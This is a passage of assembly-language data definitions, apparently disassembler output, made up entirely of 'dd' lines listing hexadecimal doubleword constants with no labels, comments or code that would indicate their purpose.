		dd 0CFF32966h, 32C4817h, 871881EEh, 2DFB0240h, 9B857FD9h
		dd 10C7CBFEh, 0BE40BAD0h, 77701E3Bh, 92A7FA75h,	0FFC9EF51h
		dd 67A18346h, 0F9B22BFFh, 2E23CF04h, 99848242h,	0BB004654h
		dd 355B5985h, 23E30481h, 0EA542E3Eh, 7406F540h,	78D1410Ch
		dd 0CF30E5EBh, 9E83A1AFh, 8C1E5F6Eh, 8108DAF7h,	781D60F8h
		dd 0F18326F8h, 761871A1h, 74E40ADAh, 2C40236h, 0EE8F780Eh
		dd 7F010B7Fh, 57D210A0h, 68C17440h, 7C2E4106h, 68F0287Bh
		dd 1849102Dh, 55516B4h,	0E8D11D6Fh, 0DD37C035h,	159E93Bh
		dd 8EBD0032h, 81239D38h, 261E02F5h, 0AFE96AA8h,	0C5275BF6h
		dd 8E542751h, 0A9DBAC2h, 826047Ah, 0F332C1C8h, 7416305Eh
		dd 2B25280h, 28322C73h,	0DD5404D0h, 0A1BB4E0Bh,	2EFC1D1h
		dd 0AAF4D21h, 0CE655CE0h, 95A3B75h, 9FE3B7F0h, 0E918A0DAh
		dd 0F775A555h, 5B9B12B8h, 0BB1B1308h, 16AED365h, 6486A8CBh
		dd 6601B034h, 3E521568h, 5635B0B7h, 0FEAE52C9h,	2D04B38h
		dd 0E97C6D7Ah, 157356FEh, 4534B7BDh, 3F0B2F56h,	0CC265CB5h
		dd 0CC431435h, 918257CBh, 13574E10h, 0B68DC11Ch, 1DC7D981h
		dd 82661F4Ah, 0BD7C640Ch, 0E91B7149h, 0C52C1455h, 0E2C4CB5Eh
		dd 0D3688209h, 546BA91Fh, 0D9D47251h, 7D2F3B2Ch, 3B512A99h
		dd 69F62509h, 0DBCEBA81h, 64A5BD33h, 0C751C242h, 33565545h
		dd 9C41D3FCh, 0F39CD07Ah, 0FE277541h, 40D85C28h, 0F42E91Dh
		dd 0FFDD013Ah, 3AE8144Eh, 0B3E9F9A3h, 5B7FC276h, 7B1E09BEh
		dd 0F0CABA74h, 473A436h, 17EA9F6h, 96618045h, 0C0978DFCh
		dd 30E9F35Eh, 0E3297C77h, 0C5306A52h, 7F989459h, 0FB4C5B0Dh
		dd 3B20B456h, 242B37B9h, 2E620CDh, 139E7C21h, 0A754FE40h
		dd 50346B1Dh, 0EF853996h, 70B8B4BBh, 7ADD8B52h,	6C800F41h
		dd 0F314FBE7h, 564F4733h, 584C6EB3h, 6515E983h,	4ED50B87h
		dd 8732A185h, 0BD815E02h, 30947089h, 7809ED40h,	0DCC97F53h
		dd 953507EEh, 0DC82A1Fh, 6AD4DD1Bh, 905E772Bh, 0F9D5E929h
		dd 0A0F7189Dh, 0B81E9FD1h
		dd 15E934D3h, 0A7F6E9F0h, 0E9ABAEAAh, 38A24CFDh, 0D450A8B6h
		dd 25D0B621h, 0D669F2D1h, 7D07E02Ch, 5E902EE0h,	0D09897B2h
		dd 144D50BDh, 0DC6CF665h, 0B26F029h, 7D42B8E9h,	5BD1605Fh
		dd 994BAC3h, 45AB39D2h,	0F814F22h, 499B9590h, 0F75132Fh
		dd 6AA30270h, 388FEB4h,	0DB50697h, 2DD71804h, 0F2A1D94Bh
		dd 0A4144F47h, 0ED034A14h, 764B5E24h, 1B9DCDB0h, 0C118836Eh
		dd 0CC47858h, 4ADC30h, 293F8DDCh, 0E95B5DEEh, 54DDD82Fh
		dd 25BFE0F7h, 5C010361h, 2E3FCF81h, 0A3304FFEh,	77012F7Dh
		dd 9A41D878h, 5F7BB67Ah, 5A8C47B0h, 50235A44h, 7F8E52C0h
		dd 0BF67C100h, 66E96EA1h, 0CFD8B531h, 23A4ED24h, 7EE6094Bh
		dd 518EA7C2h, 586F1EE3h, 2EE2F0E9h, 5FD64D44h, 8907DCEAh
		dd 3CECDBBFh, 2DE5CA25h, 0D7E6B1AFh, 0F0265088h, 519BB02h
		dd 0C92B57C9h, 0FFA028F0h, 7F02F4Dh, 1971F89Dh,	7E173836h
		dd 29038CFFh, 5875A6C6h, 0D08366B5h, 6017D488h,	0D9A36C0Bh
		dd 807B04Ah, 0EC563C40h, 25369C0Eh, 20B1D9E5h, 0E419D17Eh
		dd 0B88067CAh, 0BB5F17C8h, 0B0021478h, 0A358845Eh, 65681769h
		dd 0AF1D34FBh, 0D1F9C383h, 0EC3F77B8h, 4E6117DAh, 0CF023FA3h
		dd 66566DDBh, 0FDFF2960h, 3106F673h, 0F244E9F7h, 0D658B5F8h
		dd 0BF58B720h, 6CB04B50h, 0E9CA205Ah, 0E316A558h, 2F6F9DF0h
		dd 0BB96D9E8h, 6C526909h, 0E907C2E0h, 795FE5DFh, 1989C8D3h
		dd 0DDC645DFh, 46717558h, 153AC096h, 1F1CA43Ch,	0D0A6DE14h
		dd 0D71B18DBh, 72885156h, 0FBEC48F5h, 68059720h, 72926219h
		dd 97411DB8h, 85C20A40h, 20629A05h, 8B902F75h, 0CBA69124h
		dd 5ACC3FBEh, 0DED6F9D2h, 877D2D5Ah, 0ED342805h, 66EC0181h
		dd 0EDFE941h, 23020B32h, 21BE68A5h, 0C004EFE3h,	62E046E1h
		dd 4C0792h, 48576858h, 0EFA280A8h, 0BC13F1B7h, 3080B697h
		dd 6F916840h, 627230B7h, 0A6614B03h, 0C2E909D4h, 4F1857F7h
		dd 5EBEAC99h, 0FEBAFD4Bh, 0B56A9677h, 61DAB6DCh, 0D82E175Eh
		dd 6AFFA8A2h, 0BAD318F3h, 60562B62h, 0CFE16E7Fh, 38AC68A4h
		dd 0B94B5557h, 30346941h, 0F04172E2h, 0E005D6BFh, 480C98BBh
		dd 485F7484h, 0D235D064h, 20229212h, 955E165Ch,	0C951D48h
		dd 62D23AC0h, 15A4B5CBh, 0C04AECE0h, 9C79BD05h,	0C5E9100Fh
		dd 0B0944077h, 65C34C17h, 0A021DC0Bh, 2A98B913h, 0BA544BD2h
		dd 0DAA88F25h, 1E2C8A0Bh, 9FAFE88Fh, 0C22BA26h,	432F277Ah
		dd 39AC5C16h, 7EFB5h, 0DEB5F745h, 35B67C83h, 0D5EEE904h
		dd 1288718Dh, 3014E6C0h, 6323681h, 9740FC0Dh, 373C989h
		dd 0AB808h, 5287C2Dh, 20D6C179h, 357B31BBh, 56C0046Bh
		dd 16577B90h, 10C12924h, 13F080Ah, 0F5F01E65h, 0E888E0EFh
		dd 74FE0ED6h, 4AC9CA2Bh, 0E98272B2h, 795D9BAEh,	20B201AEh
		dd 0C09EEC80h, 533B66D4h, 0C43879B7h, 1CFC378Eh, 5F5B8D5Fh
		dd 4A84C820h, 1A52E3AEh, 0DE54D993h, 0D097B38h,	0D2657AE9h
		dd 161D0FB8h, 0C6641E58h, 0CA2F90A6h, 13244776h, 0CC122725h
		dd 0EC4352A0h, 0F5CB4B62h, 2227F459h, 0FF28180h, 14D56DCAh
		dd 0EE5B4365h, 4DD10B79h, 0CDEE8000h, 5AF33000h, 0B4505266h
		dd 0E6882F3Dh, 6C978155h, 0E901CE20h, 0BAF264DAh, 277D0939h
		dd 27CBF457h, 3E024974h, 0DDA628A3h, 0DF89560Fh, 44F06C00h
		dd 215F465Bh, 0BEF707AEh, 0EAB41C40h, 554170Bh,	9EA87F7Dh
		dd 0E65F1708h, 0FAA01052h, 0DC0FE12h, 0F5E1D98Ch, 0B093A17h
		dd 3A5AD087h, 0F8CEF708h, 14AB97F7h, 0CEC43558h, 0C1D8A8E2h
		dd 670FE74Ah, 9843A16Ah, 7CEC5F88h, 865697CEh, 940985EFh
		dd 6CDA66AFh, 322C91C7h, 84B13A74h, 9D3B62Bh, 0D202C683h
		dd 0AF82DCBh, 190CB365h, 0BFF39DD6h, 0CE092270h, 1290379h
		dd 0BC3EF084h, 4BE51420h, 0D463B3D5h, 3D9E725Ch, 0D3F7143Bh
		dd 7DE90B07h, 0D7460Ah,	17110477h, 0A4F3814Bh, 8264950Bh
		dd 2B02FD31h, 305559CEh, 9DF56212h, 31F62E2Bh, 0D3D24B58h
		dd 0E43FE085h, 4730956Ah, 4582F025h, 86DE41F9h,	0B9763FB8h
		dd 334907F4h, 7952458Bh, 300B0E58h, 1C3C7077h, 41BA2D7h
		dd 0CCD05210h, 14C756E7h, 62D5829h, 415F5A16h, 0F90A30E0h
		dd 7DD22F27h, 5845D5F5h, 28088E26h, 0A05C16ECh,	0C159DB50h
		dd 4BF31614h, 0B69536BAh, 732FA813h, 58B0CF04h,	0A26ABA07h
		dd 0DCE12023h, 0E0126861h, 9F36EB80h, 6B9992Eh,	25E93F5Ah
		dd 0A4A53F8Ah, 26D4030Dh, 24D91237h, 4C3F33D7h,	0A8955002h
		dd 2D21C182h, 0BEAC3792h, 0E983868Ah, 1363DA3Eh, 260CEB8Eh
		dd 0E5A7D006h, 7928C266h, 0B5C120D7h, 95F3E916h, 96DE5C89h
		dd 56E66804h, 2D2FB498h, 9B70467Fh, 0DD7E9D0Ah,	0D42DDE08h
		dd 67A3A8DCh, 0C15EAE99h, 0EC19DCE6h, 0DE58F723h, 0FD0D2010h
		dd 9666B36Ah, 0AA84D9E8h, 114A994h, 0C73057B7h,	0F6CCFE58h
		dd 0D8077D7h, 8B59E955h, 10267C38h, 5001239h, 3428AE2Ah
		dd 5831C331h, 37617C89h, 0CA826557h, 0B81CC4A0h, 0BF1498C2h
		dd 0ABFEE578h, 0C59762B5h, 827BA53Ch, 7FA64309h, 0F72D5E4Ch
		dd 2D69EC5Eh, 0AF1AD293h, 966BD4C1h, 0E5C2C2h, 4A56B96Fh
		dd 815F3DAEh, 0E946CC26h, 789DDEFDh, 96E19557h,	0B1F4562Fh
		dd 87350049h, 1E075221h, 165AC1B8h, 13B2F81Ch, 0BC25704Dh
		dd 0D66066F9h, 0D300B63h, 8918BD3Dh, 84016810h,	409769C2h
		dd 0E7F07CEh, 7143BF80h, 0B84F4C78h, 4634E909h,	0B23EBE14h
		dd 0DB60A62Bh, 82E1288Bh, 3D456BDh, 0BBFAEE29h,	0AAC0B3A4h
		dd 0C26A860Bh, 64F17703h, 25E04888h, 0D0AF4861h, 70B50956h
		dd 0E1811C7Ch, 3F85099Fh, 33FF825Dh, 8E560979h,	80788950h
		dd 0DEC4F380h, 0BDBC7269h, 1DE150C4h, 0B7DC133Bh, 0B386A0BCh
		dd 0B3E368Eh, 8CCADB08h, 99092A58h, 3FF8BFE9h, 242D6813h
		dd 45CB32E8h, 0C85DC40Bh, 7E095CE5h, 0BFDBB577h, 0A4C67417h
		dd 796ABFE8h, 0DCC06275h, 50BEC07Dh, 3C094D36h,	64536368h
		dd 14F725E5h, 0C151BA25h, 3E94A490h, 90D3D6A3h,	84E5819Ah
		dd 76DA5018h, 3E5F0E5Eh, 1F5854B6h, 7CC16109h, 0D8FDE122h
		dd 0E4F5D1A0h, 775A207Dh, 3ED4B0E9h, 0ED652103h, 8198D15Bh
		dd 5419E5CDh, 0D2E4727Ah, 16078A3Ah, 0FD89F3F9h, 9ACA63Fh
		dd 2BD2E9DAh, 710C7424h, 10AB71E9h, 3053C2C5h, 3BB0D54Fh
		dd 0E8282F9Dh, 39087C47h, 56E280C5h, 686B4B77h,	14230E26h
		dd 0E5526AC5h, 1FA12FEh, 5631EF76h, 809A7113h, 0AC7F0810h
		dd 491A6824h, 1B82F442h, 0C3839F0Dh, 0F75036FDh, 6362172Fh
		dd 0F859CB29h, 0B8EB050Ch, 0EF47F605h, 0C12E4BE5h, 3A5E4271h
		dd 1080B127h, 50582E49h, 55B0605h, 0A332D235h, 409E087Dh
		dd 42170A7h, 1267B23h, 4D01E2FBh, 65DA04B1h, 6103662h
		dd 93FEE85Eh, 0A9C8580Ch, 0C79FA0CFh, 5B551D4Ah, 0F2EF8133h
		dd 3A6D4068h, 79E8DCB4h, 0B1675A39h, 508F177Fh,	78E58893h
		dd 0E607E910h, 3253BB03h, 0C1A40CADh, 2ECDBF5Ah, 0EA9285A9h
		dd 9F1069CBh, 5F196991h, 0D4AC4540h, 1016C49Dh,	512BE168h
		dd 0AD85147Eh, 227684ECh, 6AA76807h, 0BB6AF6h, 32816DC5h
		dd 92123DBDh, 0C044CD7Eh, 36F1CCE9h, 531E7D63h,	0E64A7DFEh
		dd 4721824Ch, 0BA65DE1Ch, 0A312A5A7h, 72E459FFh, 548C8D5Ch
		dd 97C1745Dh, 5650CE94h, 6E2FC6C0h, 5C04DFFCh, 2C78F060h
		dd 34BA6C4Ah, 0BC8C0C7Bh, 576F5F8Ah, 0A3D54A69h, 0BEF7ECB1h
		dd 0A45BE42Dh, 659F5FA1h
		dd 0F8AC97C6h, 79A94B34h, 0B2140B9Fh, 7539C620h, 589D4F2Fh
		dd 860782F9h, 7A65C9F9h, 7C5E12E2h, 3CA70E22h, 0C0423525h
		dd 91296D92h, 8CF87D4Bh, 30726E1Dh, 3238E124h, 0CA016F13h
		dd 61082410h, 867C9D1Ch, 0E9FA3A83h, 0EA85E3B4h, 0DE0117D9h
		dd 0C86B77D6h, 681F8318h, 0A7151794h, 8F2778F3h, 568E9003h
		dd 24C7F450h, 0B3A4140h, 1E1A1536h, 68CC020h, 0BAC05D97h
		dd 74C45D5h, 31E22AE9h,	0FB215ED9h, 74225601h, 0CEE54FF6h
		dd 0EDE7092Eh, 0E4637E56h, 259F7E78h, 10D7C88Ah, 0B5B230DCh
		dd 3CB4371h, 3531128h, 2656680Dh, 92032A5Eh, 574D3FCDh
		dd 9CE9995Bh, 5825ED68h, 0FF191257h, 67E9AF10h,	0D614936Bh
		dd 0FB84CF7Eh, 9082F9AEh, 9AB725A6h, 0A5E5FF01h, 13A0680Eh
		dd 0C6E1BDECh, 69E63A58h, 0E292A752h, 5F260409h, 0FE942CB4h
		dd 0CE0B3595h, 12409405h, 0FE57B768h, 663B7169h, 0F69FBDF0h
		dd 0BB78E7ADh, 252D079h, 0FFB4EC8Dh, 232D92ECh,	12ED7B44h
		dd 0A42FBD39h, 0EBA23FB8h, 15F43D8h, 2FAEDA12h,	92E90945h
		dd 0A6DCF929h, 717C02C9h, 0A5F239D8h, 16369606h, 17110128h
		dd 0B74C6DE9h, 21E94F08h, 5ABB4C98h, 0AA86403h,	3A5CEE9h
		dd 76F5C387h, 0F3B06E77h, 4425493Ch, 7FA66240h,	588400FBh
		dd 1B9257E9h, 0C30DC3C0h, 44D8EC4h, 0F10AC7EAh,	8D94EB7Eh
		dd 7BE90802h, 0E5145EE4h, 0E64DC129h, 0EFA207A4h, 9526CC02h
		dd 0F03DC3F9h, 28FAD35Fh, 0A27CE926h, 0E1C10AC2h, 45AC8003h
		dd 9C4A055Bh, 0F1873CA5h, 0CB016AC2h, 2BC3B20Eh, 1F4D4FA8h
		dd 6CAB5B3Eh, 0E916CF91h, 230BC35h, 13446CBAh, 16091862h
		dd 68B2020Eh, 0F0712116h, 137DBF82h, 0C012E019h, 0B0265A1Bh
		dd 1014C2CDh, 4BDD6C88h, 55052109h, 692F2267h, 452D10C2h
		dd 0F18FCA27h, 7A15624Dh, 4EB8F0E0h, 84015093h,	0E87BA858h
		dd 0BDE9B7FAh, 4AEFEFC3h, 70C1429Dh, 0D8BE5600h, 9DC3E66Eh
		dd 6A18F8D2h, 0F742DD22h, 34F9BFFCh, 2F695B6Bh,	87094956h
		dd 514519E3h, 217C59E5h, 66585B0Ah, 5C0266FFh, 461FA42Fh
		dd 80A0B536h, 52B51D23h, 0DF52D994h, 0FC73CE91h, 5512B52Bh
		dd 12ABDD89h, 0A637A8A1h, 47292407h, 0A98AC262h, 38C817C8h
		dd 5200DAA6h, 0EE8083B6h, 95FBB3CBh, 0D1A43782h, 27ECD25Fh
		dd 0CE590568h, 0CD47569Eh, 82CA1428h, 33BE3009h, 54E39AE2h
		dd 0AF0545B4h, 94FD7CD5h, 9DD9E9C2h, 33F8A1FFh,	57CE9C2Fh
		dd 1AFDCFE2h, 0D20D5C7h, 4A0E726Ch, 5A9DE913h, 0DBACFA53h
		dd 0E4F50869h, 0BFF198EEh, 564499D9h, 2F7AD8CBh, 0FE1614F7h
		dd 1CB79892h, 183727AEh, 684AF9Ch, 57D23102h, 0F18D20E9h
		dd 3F3903E2h, 4AE1705Fh, 0BBF1551Ah, 5514B780h,	29137DDFh
		dd 25FE19D1h, 2CF625DAh, 0A8FDA74Ah, 4F74CADEh,	0B4F2416h
		dd 765C658h, 0AD1CFF2Fh, 15BAE91Ah, 80164331h, 0B83F521Dh
		dd 6EB36307h, 91BAF031h, 305AC5D0h, 0EC8952EFh,	291660DEh
		dd 595868C1h, 0EF819C5Ah, 304E2E0Fh, 660093EAh,	0F5811586h
		dd 6148682Bh, 34DBC86Ah, 60A2470Ah, 51621898h, 0C1250D90h
		dd 0DD337DCCh, 0DE546CDAh, 2FCBF00h, 0B814446h,	1F428FC7h
		dd 0CE1F2D74h, 0C15DA2A0h, 9950DB32h, 3B3E86E1h, 0C904065Ah
		dd 0FF0963D7h, 7BC763C0h, 0E92B1275h, 0BD448050h, 6BF829D0h
		dd 17538398h, 935D3CA0h, 1FA958DAh, 9DD6141Ah, 7C569202h
		dd 692586E4h, 487FDC0Dh, 433EBBCEh, 0D909FFAFh,	2171C35Eh
		dd 5B92B62Eh, 315D28EBh, 2C0EE5BEh, 82F809FDh, 2051C2Ch
		dd 7E1F929h, 4ACB6866h,	0E9A112ADh, 58B891Eh, 1B6800AFh
		dd 3953832Dh, 50800D37h, 2259A868h, 8927E97Bh, 72BB76C4h
		dd 15B5667Dh, 0B994BDE9h, 43D4C302h, 8CF52CE0h,	161C126Bh
		dd 1074017h, 91298510h,	3EF52E0Ch, 801C0806h, 0ED875D14h
		dd 51109D2Bh, 3A8F213Eh, 0B3BECC74h, 0F2EBC461h, 0D688EF16h
		dd 2A627D6Ch, 27E8ABDCh, 0B16EF989h, 394EE9F2h,	0D82A9EB1h
		dd 424A5EA2h, 1323DFA4h, 39212D4Bh, 0E9F10023h,	5E810642h
		dd 9447C77Bh, 2BDE91Bh,	484A84F5h, 123D56Bh, 0BE85C18Ah
		dd 0A93BEAD9h, 8A711008h, 0C5FE0527h, 1D805F9Dh, 102702Bh
		dd 72D51E8h, 0DCEA7FF2h, 51817C71h, 0FA1A93B9h,	9D98E9C8h
		dd 0C3C02E0Bh, 417BCE80h, 4F95EC7Eh, 0A07D2FB8h, 3D7FF3E2h
		dd 315E1C4Dh, 0CCDCEDF2h, 9F2394EBh, 19C1741h, 96A5D58h
		dd 4CDC0D19h, 37A00572h, 0F1E1E4BCh, 0A5EE0573h, 6BBBF920h
		dd 0BD518DDCh, 0E9D0EDD6h, 0C0F2AA33h, 3D53D4EAh, 0DE92B370h
		dd 0D0CB40CBh, 0A12D405Ah, 6E1B3618h, 2D7BBC84h, 0E5726711h
		dd 0B8610882h, 53CB34ABh, 0B3B9B32Ch, 0E6C0F203h, 4D2EF103h
		dd 0C36E232Eh, 0AFCF3FC9h, 4A6FF012h, 353E80C8h, 0AA25C165h
		dd 8E90E058h, 0D95981BBh, 45D5E6F0h, 4F90BE49h,	0ACB01C23h
		dd 73E9C614h, 0F088EA12h, 4DFFAFE4h, 0A05AEEB8h, 9C940555h
		dd 0A0BFE4C0h, 0FCFA956Fh, 3D31EF00h, 75E94553h, 93F928Ch
		dd 3E733FB8h, 0FAA4FF8Dh, 224FC0DFh, 56F42F67h,	0FF1AEB7Eh
		dd 35A0F503h, 0E4309FCAh, 0E9F82C5Bh, 499E100Bh, 0B609BA7Eh
		dd 463D74B5h, 0C5084E55h, 60AD7Dh, 3A6C2FC2h, 3CECE946h
		dd 60E64A97h, 0E15449B3h, 0D2E9F96Fh, 81FD6FF1h, 3DD18105h
		dd 6059022Dh, 0B288CAE2h, 0AED35E19h, 59B0BF30h, 48567D2Eh
		dd 84517D8h, 6418FE64h,	0F4C56541h, 964B509Dh, 0C6C0F9ADh
		dd 5229132Fh, 0BF08297h, 8B6800A5h, 785A7663h, 8335ECCFh
		dd 4A27BA0Ch, 83ABD745h, 0B43BF880h, 0A62F1054h, 0CEE8916h
		dd 0CE5DB9E7h, 5B5FBF9Ah, 40FE5CB0h, 0F439804Dh, 3C39CABh
		dd 0EB1DE31Eh, 992D6068h, 469475BAh, 258B3AA1h,	56EC2A6Ah
		dd 9A2AE9E0h, 9D644EBDh, 0C9F2374Ch, 0C3172295h, 64D9A9CAh
		dd 5718DDE8h, 476F92B4h, 0BE0289DCh, 825E300Bh,	658EFBBCh
		dd 0F9FC2DFDh, 81C5FC50h, 2E7B2254h, 888B503Dh,	0FAA784DDh
		dd 40B8EB40h, 0F5A1ED64h, 0C6EA965Bh, 0A8A63AE8h, 8E946FFCh
		dd 0BE9CBD0Ah, 978C221Eh, 5BF2295h, 9837141h, 0D3D9B801h
		dd 19D5C906h, 0BB839D7h, 0E244A698h, 89C0CB97h,	0DFE636F6h
		dd 0BCFCBDFEh, 6EAFC707h, 7AEA5519h, 5A59080Ch,	0DA08505Bh
		dd 18BA023Dh, 50685173h, 56702015h, 28E74B5h, 9677AA5h
		dd 87C0CB43h, 0A4902D53h, 7C76A757h, 31AE935Bh,	4A2BBAA4h
		dd 86AC5AEEh, 0F23168ECh, 0D94D5D03h, 0F7F00105h, 6075023Bh
		dd 0AAB22409h, 5D4E0AB0h, 39890DBDh, 0FD259776h, 8EBC711Ch
		dd 0DB86E289h, 4C10A7D4h, 629F9DE9h, 86F95552h,	99A57C69h
		dd 3B5C277Bh, 56E9F91h,	736D6800h, 0C6B919B5h, 0F0F12F60h
		dd 4A9490CAh, 7E1AF1E4h, 8B40BF2Ah, 8C614E0Ah, 53735914h
		dd 0F0B37695h, 624AE95Ch, 2558BF00h, 7BDE17A9h,	0D5014E4Fh
		dd 1A03E479h, 3AED5B13h, 11B9BE00h, 9425FAFh, 94E9EAD1h
		dd 0B33BC2D8h, 9805930Ah, 6C04FEB9h, 2BBD44h, 7F103ED4h
		dd 45E824E9h, 19FFAFA2h, 0C7E553DAh, 986EFEEDh,	2D20E931h
		dd 0CB803F94h, 60850667h, 0DA305DF3h, 0A422696h, 0FC98DD41h
		dd 0FF719698h, 0A2605CB6h, 0F4157E71h, 695A78D6h, 95711A6h
		dd 0E9E10284h, 48295D12h, 97CE1E55h, 0DE8C11F9h, 39EC9F77h
		dd 13196668h, 22474673h, 0F2218737h, 0ABB040D2h, 459A0E4Ch
		dd 33825AF7h, 209A4E6Dh, 8932B403h, 0F0A420C2h,	0D37C9FE3h
		dd 100AB80Eh, 0D95E1AC9h
		dd 78EE5B12h, 0BD27E9E3h, 0CFBDD49Fh, 7CA0C54Bh, 6E6C2B2Dh
		dd 0B327677Ah, 75B120CFh, 50603056h, 12F4F04Fh,	12FA24Dh
		dd 0E0F912Eh, 65817ABCh, 55002269h, 371762BDh, 15072FD9h
		dd 0FBC15Dh, 0A933F1E2h, 5089F692h, 9B7D77CDh, 5C5C14CCh
		dd 0FA736884h, 3D086535h, 9BB00E7Dh, 0BFE3E4h, 0C868575Eh
		dd 614DB426h, 0DAF63F87h, 25A9A440h, 13BB554Ch,	74FF2F11h
		dd 0F9298035h, 7C2EED51h, 614E3A5Ah, 0CD9A11BDh, 9097B36Eh
		dd 0BD43048Fh, 64C0AE5Eh, 5B554B6Fh, 4410AA3Fh,	10E44808h
		dd 0D8489472h, 1223E301h, 0F5F08957h, 0FD852A53h, 9DBB3C52h
		dd 0FACD7FC9h, 0AF64126Ah, 5F4952F2h, 3B3BC10h,	0B652E328h
		dd 5FF3AA71h, 4AFA5C1h,	0D78442C7h, 807A8DF5h, 2B1D2394h
		dd 0A3002FB2h, 2D21557Ah, 16ABAFC3h, 13C53172h,	1F37FA9Ch
		dd 5BB8CB8Fh, 8378A746h, 39C3584Bh, 0F47AF268h,	6F3AC211h
		dd 2D0264F7h, 0FC7B8A83h, 4E20B9Dh, 10E44EC7h, 0C10BEB84h
		dd 16A48050h, 1765710Ah, 0B84FACE9h, 57DACFC4h,	0A44152A3h
		dd 4A2CB6Ah, 79C50EDBh,	80B416FAh, 67143472h, 89F3813Ch
		dd 0C3704810h, 7D30CFBBh, 2713764Ah, 9E0095E9h,	0F38821B6h
		dd 6A6268F2h, 0E483C5B9h, 8BBA6AABh, 0EB420239h, 60DCB6F2h
		dd 0C5AB7425h, 0CB12AC02h, 0BA4960F8h, 0D66C3DAAh, 0B992AFCAh
		dd 0CE0F4ABDh, 0A3DA3099h, 3773C269h, 881ECC05h, 25815A3Ah
		dd 3D75A8F4h, 9F0FE43Eh, 0FE81A140h, 0F9460614h, 0A8D12922h
		dd 15A0880h, 0B760CF5Ah, 411EE947h, 4FA87F8Bh, 0C0A00CF6h
		dd 34126929h, 18EE5F0Eh, 0FA890F95h, 143AE912h,	49A2FAA8h
		dd 54B1DE58h, 0C7263001h, 0B42C5A51h, 534E7DDFh, 9CA1296h
		dd 0D47CF82Ah, 0E4EA5865h, 826BFD76h, 20C86E1Ah, 0AC76183Dh
		dd 0D1B1F927h, 88B266Eh, 0AE36A743h, 2DEE04C0h,	0BB0D1D31h
		dd 8177DD4h, 0E1650C4Bh, 606F4888h, 66E26A26h, 2CEA105Fh
		dd 5E5A50A8h, 0E4E59CE3h, 270BD368h, 5E0144F9h,	40CC84Fh
		dd 0AFEBFAE9h, 28C4B9A2h, 5DA2BEDAh, 2E762D93h,	9C0A5B61h
		dd 17A4A22Fh, 1AB680C5h, 0BF7DE950h, 7BB2B419h,	455D5A80h
		dd 0C89927E9h, 0AE34E348h, 0D12C57CAh, 5F176885h, 5CBE2940h
		dd 1F551C67h, 0D2D194BBh, 12CEF813h, 0D2CDB6h, 1ED15E93h
		dd 885282FEh, 24E066EEh, 0D778F6F7h, 2E5BE1F9h,	41BFABB0h
		dd 0E243E294h, 488C8ABDh, 0B8DF5445h, 3462C000h, 1090558h
		dd 9E70B548h, 4A88A140h, 5ED0FCC3h, 5559440Bh, 8472A82h
		dd 3040B300h, 25FB9FD3h, 542F772Ch, 63582C53h, 0AB85431Eh
		dd 899F41F2h, 197706C9h, 0A62B5343h, 0E9A3418Dh, 7D892B6Ch
		dd 8973602Fh, 0CCB55AD1h, 0B0BC2F95h, 5C093046h, 121B094Bh
		dd 9839441Fh, 97607B52h, 48687618h, 58A133E7h, 12AA00A6h
		dd 0E9421B95h, 0D5899588h, 1148655Dh, 5536352Ch, 0FDEB3C0Bh
		dd 7E0CD72Dh, 2DE9E3F4h, 3D54A57Eh, 89D0E5C5h, 12C79BDh
		dd 9BBB75B4h, 288AD943h, 93F85BF3h, 53E9D11Ch, 2C4CC032h
		dd 0C81A8641h, 0B08C9FEh, 316422D0h, 0E244E0EAh, 4AA8F603h
		dd 1904154h, 6177683Dh,	42C3E135h, 0A0E55F08h, 0A7C8FCA5h
		dd 8056E95Ch, 8A4FCF9Fh, 6FEEFAC9h, 872CB842h, 0A429E559h
		dd 809D09DFh, 7E970744h, 0BA5208D7h, 0FB2B75CBh, 0A975340Bh
		dd 2067D807h, 0D9B598ECh, 2D7BAC65h, 0ADF35D68h, 63EB2212h
		dd 327E0DECh, 523297FEh, 4770FF40h, 9833C50h, 58FF1553h
		dd 42110444h, 0AAAD2F9Fh, 0D7885D27h, 9B200Ch, 0BC788EE2h
		dd 1A80E97Ch, 90F31EBDh, 3B4212EBh, 0EFA70F4Bh,	1308A8DCh
		dd 0E2F948E9h, 1B680950h, 0C03EBA5Ah, 0E302E340h, 4D861920h
		dd 0F0007574h, 0CB3535Ah, 0D8F0AD2Ch, 5B700474h, 0DDF7D075h
		dd 4B4CBE35h, 0B600F4A3h, 8DE6808Ah, 2E6233E9h,	5CCE094Ch
		dd 32BB8876h, 0F6272C9Eh, 0E6D1F001h, 0BE42BDh,	75FBB0DBh
		dd 0B5B39897h, 0E916DCDAh, 0E1219C17h, 13FF32BFh, 0A4520FF6h
		dd 1509ED7Fh, 436F8D0Eh, 2B4000A3h, 16C4827h, 62768CEh
		dd 20F0C629h, 53762FC3h, 0DAB4F32Fh, 8D4FA0FCh,	79452C3Eh
		dd 0E5021F85h, 0FC4E167Dh, 317AF554h, 4632F85h,	5DEC89C0h
		dd 0F8034A1Bh, 85615A84h, 1328CAD8h, 9C8BE93h, 2E7F4135h
		dd 5880C1C7h, 0BD2E9869h, 0F104CC72h, 221CDE2Ah, 51DC8BBBh
		dd 7355C24Bh, 7B97BEA6h, 0C4F6D0D0h, 0EDE53E61h, 18823B2Ah
		dd 32E77766h, 0CB387DA7h, 439D665Ch, 6850E715h,	0F7E93E72h
		dd 0BB7D006Ah, 35D7562Eh, 5BD82116h, 4DB242FFh,	0FD4892BFh
		dd 7F5E740Bh, 8CD10FBh,	4046B640h, 11E2BAD7h, 9655016h
		dd 6C41414h, 735B0A9Dh,	0E883C34h, 0E4B0518h, 8EE4B230h
		dd 0ECDF2928h, 0F1EE7F9Ah, 0F1DFBEFh, 0C6A7A768h, 0C30F2FE5h
		dd 0D1999857h, 629F964Eh, 50001D4h, 1DEA5E1Fh, 64113575h
		dd 32412F86h, 0FE8901BDh, 0C4A1C1CAh, 0B559FF74h, 1E83E1C3h
		dd 0F97020E3h, 562EF06Bh, 84C90C90h, 0AE0FB95Eh, 461E0E3Bh
		dd 9853908Eh, 0B4F97BE4h, 66ED401Bh, 296F167Fh,	0A2C4A0Eh
		dd 59D56884h, 9BA6F8Ch,	19D755B7h, 0D842E3A9h, 0A4E36E10h
		dd 5AD511C5h, 0DB07888h, 14CA330h, 12712111h, 0B3507C0Ah
		dd 0A693D530h, 97D468ADh, 6EBE2E6Ch, 411E97BEh,	52C75760h
		dd 0E07BE33Fh, 899055F7h, 5C7CDB74h, 4DD09FA3h,	0C25A1AE9h
		dd 0EB307BC9h, 969CF650h, 0DBF18115h, 0ED0C2E74h, 0F7B864AAh
		dd 2A2DD800h, 514D6311h, 61993BB9h, 0E1813800h,	3E2E6BAFh
